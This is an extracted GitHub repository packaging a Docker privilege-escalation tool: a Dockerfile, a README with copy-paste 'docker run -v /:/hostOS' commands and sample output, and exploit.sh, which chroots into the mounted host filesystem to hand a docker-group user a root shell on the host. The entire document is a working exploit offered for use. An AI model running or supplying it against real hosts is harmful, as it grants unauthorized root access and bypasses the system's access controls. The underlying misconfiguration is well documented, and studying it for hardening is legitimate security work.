Repository: chrisfosterelli/dockerrootplease Branch: master Commit: 7c0f0ea97451 Files: 3 Total size: 1.5 KB Directory structure: gitextract_m8uks8r2/ ├── Dockerfile ├── README.md └── exploit.sh ================================================ FILE CONTENTS ================================================ ================================================ FILE: Dockerfile ================================================ FROM ubuntu:20.04 COPY exploit.sh /exploit.sh CMD ["/bin/bash", "exploit.sh"] ================================================ FILE: README.md ================================================ Root Please =========== If you're a member of the 'docker' group on a machine, this command gives you a root shell on the host OS. [See my blog post for details](https://fosterelli.co/privilege-escalation-via-docker). How to Use ---------- Through Docker Hub: ```bash > docker run -v /:/hostOS -it --rm chrisfosterelli/rootplease ``` Or through Github: ```bash > git clone https://github.com/chrisfosterelli/dockerrootplease rootplease > cd rootplease/ > docker build -t rootplease . > docker run -v /:/hostOS -it --rm rootplease ``` And the result: ```bash johndoe@testmachine:~$ docker run -v /:/hostOS -it --rm chrisfosterelli/rootplease You should now have a root shell on the host OS Press Ctrl-D to exit the docker instance / shell # whoami root # ``` ================================================ FILE: exploit.sh ================================================ if [ ! -d "/hostOS" ]; then echo echo ==== ERROR ==== echo It looks like /hostOS does not exist echo Please run this docker image with a /hostOS volume mounted to / echo For example: docker run -v /:/hostOS -it --rm chrisfosterelli/rootplease echo exit fi if [ ! -f "/hostOS/bin/sh" ] && [ ! -L "/hostOS/bin/sh" ]; then echo echo ==== ERROR ==== echo It looks like /hostOS does not contain a root filesystem echo Please run this docker image with a /hostOS volume mounted to / echo For example: docker run -v /:/hostOS -it --rm chrisfosterelli/rootplease echo exit fi echo echo You should now have a root shell on the host OS echo Press Ctrl-D to exit the docker instance / shell chroot /hostOS /bin/sh